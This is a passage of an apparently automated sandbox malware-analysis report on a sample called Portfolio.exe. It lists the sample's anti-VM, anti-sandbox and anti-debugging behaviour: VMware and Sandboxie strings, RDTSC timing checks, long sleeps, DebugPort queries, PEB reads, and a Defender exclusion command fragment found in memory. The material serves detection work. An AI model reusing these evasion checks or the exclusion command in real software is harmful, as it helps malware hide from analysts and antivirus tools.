Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Yara detected AntiVM3
Source: Yara match File source: 00000000.00000002.250046779.0000000003476000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Portfolio.exe PID: 5880, type: MEMORY
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: Portfolio.exe, 00000000.00000002.250046779.0000000003476000.00000004.00000001.sdmp Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: Portfolio.exe, 00000000.00000002.250046779.0000000003476000.00000004.00000001.sdmp Binary or memory string: SBIEDLL.DLL
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\Portfolio.exe RDTSC instruction interceptor: First address: 00000000004098E4 second address: 00000000004098EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Portfolio.exe RDTSC instruction interceptor: First address: 0000000000409B5E second address: 0000000000409B64 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\mstsc.exe RDTSC instruction interceptor: First address: 00000000030398E4 second address: 00000000030398EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\mstsc.exe RDTSC instruction interceptor: First address: 0000000003039B5E second address: 0000000003039B64 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_00409A90 rdtsc 3_2_00409A90
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\Portfolio.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Thread delayed: delay time: 922337203685477 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\Portfolio.exe TID: 5724 Thread sleep time: -104352s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe TID: 2908 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe TID: 5436 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 6520 Thread sleep count: 34 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 6520 Thread sleep time: -68000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe TID: 496 Thread sleep time: -65000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\Portfolio.exe Thread delayed: delay time: 104352 Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: explorer.exe, 00000006.00000000.275104584.000000000891C000.00000004.00000001.sdmp Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 00000006.00000002.504801395.0000000003710000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000006.00000000.274706890.0000000008270000.00000002.00000001.sdmp Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: Portfolio.exe, 00000000.00000002.250046779.0000000003476000.00000004.00000001.sdmp Binary or memory string: vmware
Source: Portfolio.exe, 00000000.00000002.250046779.0000000003476000.00000004.00000001.sdmp Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: Portfolio.exe, 00000000.00000002.250046779.0000000003476000.00000004.00000001.sdmp Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: Portfolio.exe, 00000000.00000002.250046779.0000000003476000.00000004.00000001.sdmp Binary or memory string: VMware SVGA II!Add-MpPreference -ExclusionPath "
Source: Portfolio.exe, 00000000.00000002.250046779.0000000003476000.00000004.00000001.sdmp Binary or memory string: VMWARE
Source: explorer.exe, 00000006.00000002.496597922.00000000011B3000.00000004.00000020.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000tft\0
Source: Portfolio.exe, 00000000.00000002.250046779.0000000003476000.00000004.00000001.sdmp Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: explorer.exe, 00000006.00000000.275169034.00000000089B5000.00000004.00000001.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000%
Source: explorer.exe, 00000006.00000000.269571031.00000000053C4000.00000004.00000001.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}>'R\"
Source: explorer.exe, 00000006.00000000.274706890.0000000008270000.00000002.00000001.sdmp Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000006.00000000.274706890.0000000008270000.00000002.00000001.sdmp Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000006.00000000.275169034.00000000089B5000.00000004.00000001.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&0000002
Source: Portfolio.exe, 00000000.00000002.250046779.0000000003476000.00000004.00000001.sdmp Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: Portfolio.exe, 00000000.00000002.250046779.0000000003476000.00000004.00000001.sdmp Binary or memory string: VMware SVGA II
Source: Portfolio.exe, 00000000.00000002.250046779.0000000003476000.00000004.00000001.sdmp Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: explorer.exe, 00000006.00000000.274706890.0000000008270000.00000002.00000001.sdmp Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
Source: C:\Users\user\Desktop\Portfolio.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging:

barindex
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\Portfolio.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_00409A90 rdtsc 3_2_00409A90
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0040ACD0 LdrLoadDll, 3_2_0040ACD0
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019BFD9B mov eax, dword ptr fs:[00000030h] 3_2_019BFD9B
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019BFD9B mov eax, dword ptr fs:[00000030h] 3_2_019BFD9B
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A069A6 mov eax, dword ptr fs:[00000030h] 3_2_01A069A6
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A505AC mov eax, dword ptr fs:[00000030h] 3_2_01A505AC
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A505AC mov eax, dword ptr fs:[00000030h] 3_2_01A505AC
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B2990 mov eax, dword ptr fs:[00000030h] 3_2_019B2990
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01982D8A mov eax, dword ptr fs:[00000030h] 3_2_01982D8A
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01982D8A mov eax, dword ptr fs:[00000030h] 3_2_01982D8A
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01982D8A mov eax, dword ptr fs:[00000030h] 3_2_01982D8A
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01982D8A mov eax, dword ptr fs:[00000030h] 3_2_01982D8A
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01982D8A mov eax, dword ptr fs:[00000030h] 3_2_01982D8A
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019AC182 mov eax, dword ptr fs:[00000030h] 3_2_019AC182
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B2581 mov eax, dword ptr fs:[00000030h] 3_2_019B2581
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B2581 mov eax, dword ptr fs:[00000030h] 3_2_019B2581
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B2581 mov eax, dword ptr fs:[00000030h] 3_2_019B2581
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B2581 mov eax, dword ptr fs:[00000030h] 3_2_019B2581
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019BA185 mov eax, dword ptr fs:[00000030h] 3_2_019BA185
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A051BE mov eax, dword ptr fs:[00000030h] 3_2_01A051BE
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A051BE mov eax, dword ptr fs:[00000030h] 3_2_01A051BE
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A051BE mov eax, dword ptr fs:[00000030h] 3_2_01A051BE
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A051BE mov eax, dword ptr fs:[00000030h] 3_2_01A051BE
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B1DB5 mov eax, dword ptr fs:[00000030h] 3_2_019B1DB5
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B1DB5 mov eax, dword ptr fs:[00000030h] 3_2_019B1DB5
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B1DB5 mov eax, dword ptr fs:[00000030h] 3_2_019B1DB5
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B35A1 mov eax, dword ptr fs:[00000030h] 3_2_019B35A1
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B61A0 mov eax, dword ptr fs:[00000030h] 3_2_019B61A0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B61A0 mov eax, dword ptr fs:[00000030h] 3_2_019B61A0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A4FDE2 mov eax, dword ptr fs:[00000030h] 3_2_01A4FDE2
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A4FDE2 mov eax, dword ptr fs:[00000030h] 3_2_01A4FDE2
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A4FDE2 mov eax, dword ptr fs:[00000030h] 3_2_01A4FDE2
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A4FDE2 mov eax, dword ptr fs:[00000030h] 3_2_01A4FDE2
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A141E8 mov eax, dword ptr fs:[00000030h] 3_2_01A141E8
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A38DF1 mov eax, dword ptr fs:[00000030h] 3_2_01A38DF1
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A06DC9 mov eax, dword ptr fs:[00000030h] 3_2_01A06DC9
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A06DC9 mov eax, dword ptr fs:[00000030h] 3_2_01A06DC9
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A06DC9 mov eax, dword ptr fs:[00000030h] 3_2_01A06DC9
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A06DC9 mov ecx, dword ptr fs:[00000030h] 3_2_01A06DC9
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A06DC9 mov eax, dword ptr fs:[00000030h] 3_2_01A06DC9
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A06DC9 mov eax, dword ptr fs:[00000030h] 3_2_01A06DC9
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0198B1E1 mov eax, dword ptr fs:[00000030h] 3_2_0198B1E1
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0198B1E1 mov eax, dword ptr fs:[00000030h] 3_2_0198B1E1
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0198B1E1 mov eax, dword ptr fs:[00000030h] 3_2_0198B1E1
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0199D5E0 mov eax, dword ptr fs:[00000030h] 3_2_0199D5E0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0199D5E0 mov eax, dword ptr fs:[00000030h] 3_2_0199D5E0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A58D34 mov eax, dword ptr fs:[00000030h] 3_2_01A58D34
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A0A537 mov eax, dword ptr fs:[00000030h] 3_2_01A0A537
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01989100 mov eax, dword ptr fs:[00000030h] 3_2_01989100
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01989100 mov eax, dword ptr fs:[00000030h] 3_2_01989100
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01989100 mov eax, dword ptr fs:[00000030h] 3_2_01989100
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A4E539 mov eax, dword ptr fs:[00000030h] 3_2_01A4E539
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B4D3B mov eax, dword ptr fs:[00000030h] 3_2_019B4D3B
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B4D3B mov eax, dword ptr fs:[00000030h] 3_2_019B4D3B
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B4D3B mov eax, dword ptr fs:[00000030h] 3_2_019B4D3B
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B513A mov eax, dword ptr fs:[00000030h] 3_2_019B513A
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B513A mov eax, dword ptr fs:[00000030h] 3_2_019B513A
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0198AD30 mov eax, dword ptr fs:[00000030h] 3_2_0198AD30
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01993D34 mov eax, dword ptr fs:[00000030h] 3_2_01993D34
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01993D34 mov eax, dword ptr fs:[00000030h] 3_2_01993D34
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01993D34 mov eax, dword ptr fs:[00000030h] 3_2_01993D34
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01993D34 mov eax, dword ptr fs:[00000030h] 3_2_01993D34
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01993D34 mov eax, dword ptr fs:[00000030h] 3_2_01993D34
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01993D34 mov eax, dword ptr fs:[00000030h] 3_2_01993D34
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01993D34 mov eax, dword ptr fs:[00000030h] 3_2_01993D34
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01993D34 mov eax, dword ptr fs:[00000030h] 3_2_01993D34
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01993D34 mov eax, dword ptr fs:[00000030h] 3_2_01993D34
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01993D34 mov eax, dword ptr fs:[00000030h] 3_2_01993D34
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01993D34 mov eax, dword ptr fs:[00000030h] 3_2_01993D34
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01993D34 mov eax, dword ptr fs:[00000030h] 3_2_01993D34
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01993D34 mov eax, dword ptr fs:[00000030h] 3_2_01993D34
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019A4120 mov eax, dword ptr fs:[00000030h] 3_2_019A4120
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019A4120 mov eax, dword ptr fs:[00000030h] 3_2_019A4120
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019A4120 mov eax, dword ptr fs:[00000030h] 3_2_019A4120
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019A4120 mov eax, dword ptr fs:[00000030h] 3_2_019A4120
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019A4120 mov ecx, dword ptr fs:[00000030h] 3_2_019A4120
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019A7D50 mov eax, dword ptr fs:[00000030h] 3_2_019A7D50
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019AB944 mov eax, dword ptr fs:[00000030h] 3_2_019AB944
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019AB944 mov eax, dword ptr fs:[00000030h] 3_2_019AB944
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C3D43 mov eax, dword ptr fs:[00000030h] 3_2_019C3D43
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A03540 mov eax, dword ptr fs:[00000030h] 3_2_01A03540
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0198B171 mov eax, dword ptr fs:[00000030h] 3_2_0198B171
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0198B171 mov eax, dword ptr fs:[00000030h] 3_2_0198B171
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019AC577 mov eax, dword ptr fs:[00000030h] 3_2_019AC577
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019AC577 mov eax, dword ptr fs:[00000030h] 3_2_019AC577
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0198C962 mov eax, dword ptr fs:[00000030h] 3_2_0198C962
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0199849B mov eax, dword ptr fs:[00000030h] 3_2_0199849B
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01989080 mov eax, dword ptr fs:[00000030h] 3_2_01989080
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019BF0BF mov ecx, dword ptr fs:[00000030h] 3_2_019BF0BF
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019BF0BF mov eax, dword ptr fs:[00000030h] 3_2_019BF0BF
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019BF0BF mov eax, dword ptr fs:[00000030h] 3_2_019BF0BF
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A03884 mov eax, dword ptr fs:[00000030h] 3_2_01A03884
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A03884 mov eax, dword ptr fs:[00000030h] 3_2_01A03884
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C90AF mov eax, dword ptr fs:[00000030h] 3_2_019C90AF
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B20A0 mov eax, dword ptr fs:[00000030h] 3_2_019B20A0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B20A0 mov eax, dword ptr fs:[00000030h] 3_2_019B20A0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B20A0 mov eax, dword ptr fs:[00000030h] 3_2_019B20A0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B20A0 mov eax, dword ptr fs:[00000030h] 3_2_019B20A0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B20A0 mov eax, dword ptr fs:[00000030h] 3_2_019B20A0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B20A0 mov eax, dword ptr fs:[00000030h] 3_2_019B20A0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A06CF0 mov eax, dword ptr fs:[00000030h] 3_2_01A06CF0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A06CF0 mov eax, dword ptr fs:[00000030h] 3_2_01A06CF0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A06CF0 mov eax, dword ptr fs:[00000030h] 3_2_01A06CF0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A414FB mov eax, dword ptr fs:[00000030h] 3_2_01A414FB
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A1B8D0 mov eax, dword ptr fs:[00000030h] 3_2_01A1B8D0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A1B8D0 mov ecx, dword ptr fs:[00000030h] 3_2_01A1B8D0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A1B8D0 mov eax, dword ptr fs:[00000030h] 3_2_01A1B8D0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A1B8D0 mov eax, dword ptr fs:[00000030h] 3_2_01A1B8D0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A1B8D0 mov eax, dword ptr fs:[00000030h] 3_2_01A1B8D0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A1B8D0 mov eax, dword ptr fs:[00000030h] 3_2_01A1B8D0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A58CD6 mov eax, dword ptr fs:[00000030h] 3_2_01A58CD6
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019858EC mov eax, dword ptr fs:[00000030h] 3_2_019858EC
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A41C06 mov eax, dword ptr fs:[00000030h] 3_2_01A41C06
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A41C06 mov eax, dword ptr fs:[00000030h] 3_2_01A41C06
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A41C06 mov eax, dword ptr fs:[00000030h] 3_2_01A41C06
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A41C06 mov eax, dword ptr fs:[00000030h] 3_2_01A41C06
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A41C06 mov eax, dword ptr fs:[00000030h] 3_2_01A41C06
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A41C06 mov eax, dword ptr fs:[00000030h] 3_2_01A41C06
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A41C06 mov eax, dword ptr fs:[00000030h] 3_2_01A41C06
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A41C06 mov eax, dword ptr fs:[00000030h] 3_2_01A41C06
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A41C06 mov eax, dword ptr fs:[00000030h] 3_2_01A41C06
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A41C06 mov eax, dword ptr fs:[00000030h] 3_2_01A41C06
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A41C06 mov eax, dword ptr fs:[00000030h] 3_2_01A41C06
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A41C06 mov eax, dword ptr fs:[00000030h] 3_2_01A41C06
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A41C06 mov eax, dword ptr fs:[00000030h] 3_2_01A41C06
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A41C06 mov eax, dword ptr fs:[00000030h] 3_2_01A41C06
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A5740D mov eax, dword ptr fs:[00000030h] 3_2_01A5740D
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A5740D mov eax, dword ptr fs:[00000030h] 3_2_01A5740D
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A5740D mov eax, dword ptr fs:[00000030h] 3_2_01A5740D
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A06C0A mov eax, dword ptr fs:[00000030h] 3_2_01A06C0A
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A06C0A mov eax, dword ptr fs:[00000030h] 3_2_01A06C0A
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A06C0A mov eax, dword ptr fs:[00000030h] 3_2_01A06C0A
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A06C0A mov eax, dword ptr fs:[00000030h] 3_2_01A06C0A
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A54015 mov eax, dword ptr fs:[00000030h] 3_2_01A54015
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A54015 mov eax, dword ptr fs:[00000030h] 3_2_01A54015
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0199B02A mov eax, dword ptr fs:[00000030h] 3_2_0199B02A
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0199B02A mov eax, dword ptr fs:[00000030h] 3_2_0199B02A
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0199B02A mov eax, dword ptr fs:[00000030h] 3_2_0199B02A
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0199B02A mov eax, dword ptr fs:[00000030h] 3_2_0199B02A
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A07016 mov eax, dword ptr fs:[00000030h] 3_2_01A07016
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A07016 mov eax, dword ptr fs:[00000030h] 3_2_01A07016
